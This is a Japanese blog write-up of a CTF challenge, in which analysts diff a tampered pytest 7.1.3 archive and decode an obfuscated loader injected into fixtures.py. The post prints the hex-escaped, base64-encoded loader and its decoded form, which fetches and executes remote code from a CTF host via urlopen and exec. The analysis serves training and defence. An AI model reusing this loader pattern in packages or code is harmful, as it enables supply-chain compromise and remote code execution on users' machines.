Skip to main content

Fetch the Flag CTF 2022 解説:Pay Attention

著者

Assaf Ben Josef

feature ctf pay attention

2022年11月10日

0 分で読めます

Fetchに参加していただき、ありがとうございました! 参加してくださった数千人の皆さん、 Fetch the Flag CTFへのご参加、おめでとうございます。そして、チャレンジの作成、テスト、解説の執筆に携わったSnykerの皆さんにも、心から感謝します!

この記事では、Snykの2022年Fetch the Flag CTFの「Pay Attention」チャレンジにチームがどう取り組んだかを見ていきます。このチャレンジでは、広く使われているパッケージが乗っ取られ、悪意あるものに改変された可能性がある状況を想定します。私たちは、問題を調査するセキュリティ研究者の立場で取り組みます。

解説

開始すると、ダウンロード可能なファイルpytest-7.1.3.tar.gzと、「最近、ちゃんと注意を払っていましたか?」というヒントが表示されます。

まず目に留まるのはファイル名です。Pytestは非常に人気のあるPythonテストフレームワークで、この記事の執筆時点では7.1.3が最新リリースです。つまり、このファイルは最新のpytestリリースのアーカイブと思われます。

もちろん、実際のpytest 7.1.3と完全に同じものではありません。そうでなければ、手掛かりがありませんから!確かめるために、pytestのGitHubリポジトリから7.1.3リリースのソースコードをダウンロードします。アーカイブファイルのプロパティを調べると、CTF版のpytestは本物のリリースよりほんの少しサイズが大きいことがわかります。

2つのアーカイブの違いがどこにあるのかを見つけるには、フォルダを展開して、ターミナルでdiff -rqコマンドを使って比較します。このコマンドはフォルダの内容を再帰的に調べ、次のようにファイルの違いを探します。

2つのpytestディレクトリ間の差分を表示するターミナル。setup.cfgとPythonソースファイルに違いがある。

メタデータファイルにいくつか小さな違いが見つかりました。しかし、さらに重要なのは、ソースコードファイルのfixtures.pyにも違いがあることです。これが原因に違いありません!

不審なコードに注意を払う

使い慣れたIDEでファイルを調べ、少しスクロールしていくと(あるいは、予期しないインデントがIDEに指摘されると)、次の不審なコード行が見つかります。

__import__('\x62\x75\x69\x6c\x74\x69\x6e\x73').exec(__import__('\x62\x75\x69\x6c\x74\x69\x6e\x73').compile(__import__('\x62\x61\x73\x65\x36\x34').b64decode("ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZgpmcm9tIHN5cyBpbXBvcnQgZXhlY3V0YWJsZSBhcyBfZWUKZnJvbSBvcyBpbXBvcnQgc3lzdGVtIGFzIF9zcwoKX3R0bXAgPSBfZmYoZGVsZXRlPUZhbHNlKQpfdHRtcC53cml0ZShiIiIiZnJvbSB1cmxsaWIucmVxdWVzdCBpbXBvcnQgdXJsb3BlbiBhcyBfdXU7ZXhlYyhfdXUoJ2h0dHA6Ly9wYXktYXR0ZW50aW9uLmMuY3RmLXNueWsuaW8vaW5qZWN0b3InKS5yZWFkKCkpIiIiKQpfdHRtcC5jbG9zZSgpCnRyeTogX3NzKGYie19lZX0ge190dG1wLm5hbWV9IikKZXhjZXB0OiBwYXNz"),'<string>','\x65\x78\x65\x63'))

ぱっと見たところ、この行はライブラリをインポートし、b64decodeやexecといった興味深い関数を呼び出しているようです。明らかに不審ですが、まだ何が起きているのかはわかりません。そこで、デコードしてみましょう。

まずは、\x65\x78\x65\x63のような、短くて似たパターンの文字列から始めます。

Python 3では文字列の表現にUnicodeが使われていることをご存じの方もいるでしょう。Python 3のドキュメントを詳しく調べると、このパターンはUnicodeコードポイントを2桁の16進数で表したものにすぎないとわかります。

とはいえ、そこまで知っている必要はありません。コードを見ると、これらの文字列は__import__()などのPython組み込み関数にそのまま渡されています。つまり、Pythonインタープリターがすでに文字列を処理できるはずです。そこでPython REPLを起動し、こうした文字列をprint()関数に渡すと、人間が読めるUnicode表現が出力されます。たとえば、print(‘\x65\x78\x65\x63’)を実行すると、execという文字列が得られます。簡単ですね!

すべてを解読すると、次の結果が得られます。

__import__('builtins').exec(
   __import__('builtins').compile(
       __import__('base64').b64decode(
  "ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZgpmcm9tIHN5cyBpbXBvcnQgZXhlY3V0YWJsZSBhcyBfZWUKZnJvbSBvcyBpbXBvcnQgc3lzdGVtIGFzIF9zcwoKX3R0bXAgPSBfZmYoZGVsZXRlPUZhbHNlKQpfdHRtcC53cml0ZShiIiIiZnJvbSB1cmxsaWIucmVxdWVzdCBpbXBvcnQgdXJsb3BlbiBhcyBfdXU7ZXhlYyhfdXUoJ2h0dHA6Ly9wYXktYXR0ZW50aW9uLmMuY3RmLXNueWsuaW8vaW5qZWN0b3InKS5yZWFkKCkpIiIiKQpfdHRtcC5jbG9zZSgpCnRyeTogX3NzKGYie19lZX0ge190dG1wLm5hbWV9IikKZXhjZXB0OiBwYXNz"),
       '<string>', 'exec'))

このスクリプトはBase64文字列をデコードし、コンパイルしてから実行するようです。次に知りたいのは、ここで実行されるコードの内容です。オンラインのデコードツールなどを使ってBase64文字列をデコードしてみましょう。結果は次のとおりです。

from tempfile import NamedTemporaryFile as _ff
from sys import executable as _ee
from os import system as _ss

_ttmp = _ff(delete=False)
_ttmp.write(b"""from urllib.request import urlopen as _uu;exec(_uu('http://pay-attention.c.ctf-snyk.io/injector').read())""")
_ttmp.close()
try: _ss(f"{_ee} {_ttmp.name}")
except: pass

今度のコードは、一時ファイルを作成し、短いスクリプトを書き込んで実行するようです。一時ファイル内のスクリプトは、オンラインリソース(Snyk CTFのドメイン)からコードをダウンロードして実行します。

手掛かりをたどり続け、この一連の処理の最後に実行されるコードを突き止めたいところですが、なかなか手ごわい相手です。ダウンロードされるコードは完全に難読化されています!理解できるのは先頭部分だけですが、そこには難読化に使われたツールの名前とGitHubリポジトリ、Hyperionが記されています。

最初は、難読化されたスクリプトと難読化ツールのソースコードがあるのだから、リバースエンジニアリングに取りかかろうと考えるかもしれません。しかし、このスクリプトは巧妙に難読化されているようです。また、難読化ツールのGitHubリポジトリのREADMEには、現時点で難読化解除ツールは存在しないと書かれています。そこで、まずはほかの選択肢をすべて試すことにしました。

そこでまず、この難読化されたスクリプトをローカルファイルにダウンロードし、デバッグ環境を立ち上げて、実行時に何が起きるかを調べることにしました。使い慣れたIDEでコードを1行ずつデバッグ・実行すれば、処理の流れを確認できます。

セキュリティに関する注意事項

これが現実の状況で、実際に被害を与えることを目的としたスクリプトを扱う場合は、すべての作業を安全なサンドボックス環境で行います。

すると、幸いにも、宣言された変数の1つに隠れていたフラグを見つけられました(バックスラッシュを取り除いた後)。

暗色テーマのコードデバッガー。長い文字列、組み込みの文字列結合メソッド、Noneなどの変数値が表示されている

注意を払えば見つかる!

ここまでの流れをまとめると、次のとおりです。

  • 一見無害なパッケージのファイルに、不審なコード行が挿入されていた

  • そのコード行は、Base64でエンコードされたスクリプトをコンパイルして実行する

  • そのスクリプトは一時ファイルを作成し、実行する

  • そのファイルはリモートリソースにアクセスして難読化されたスクリプトをダウンロードし、実行する

  • 難読化されたスクリプトを調べてデバッグした結果、宣言部分に隠されたフラグを見つけることができました。

このような多層的な難読化は、悪意あるスクリプトの挿入でよく見られます。大変な道のりでした!

ほかのフラグをどうやって見つけたか知りたいですか?Fetch the Flagの解答ページで、解き方をご覧ください。

続きを読む

illustration hero ai
Blog

PHPが重大な未認証RCEの脆弱性2件を修正(CVE-2026-109618、CVE-2026-109619):今すぐアップデート

PHPのリクエスト処理に重大な脆弱性が2件あり、未認証のリモートコード実行につながるおそれがあります。修正版にアップグレードするか、旧バージョンにはベンダー提供のバックポートを適用してください。

blog feature ai lilac
Blog

エージェント型修正で脆弱性バックログをプルリクエストに変える

Evo Remediation Agentがオープンプレビューで利用可能になり、Evo Agentic AppSecに依存関係の自動解決機能が加わりました。AppSecチームは継続的な修正キャンペーンを実施できるようになりました

AI Background min crop
Blog

AIが、あなたが受け入れてきたあらゆるリスクを一気に顕在化させる:AI Security Panel: Unfilteredから得た7つの洞察

AIによって攻撃はより安価かつ高速になり、組織がすでに抱えているリスクが露呈しています。4人のセキュリティリーダーが、機械の速度に対応する防御と迅速な修復が今不可欠である理由を語ります。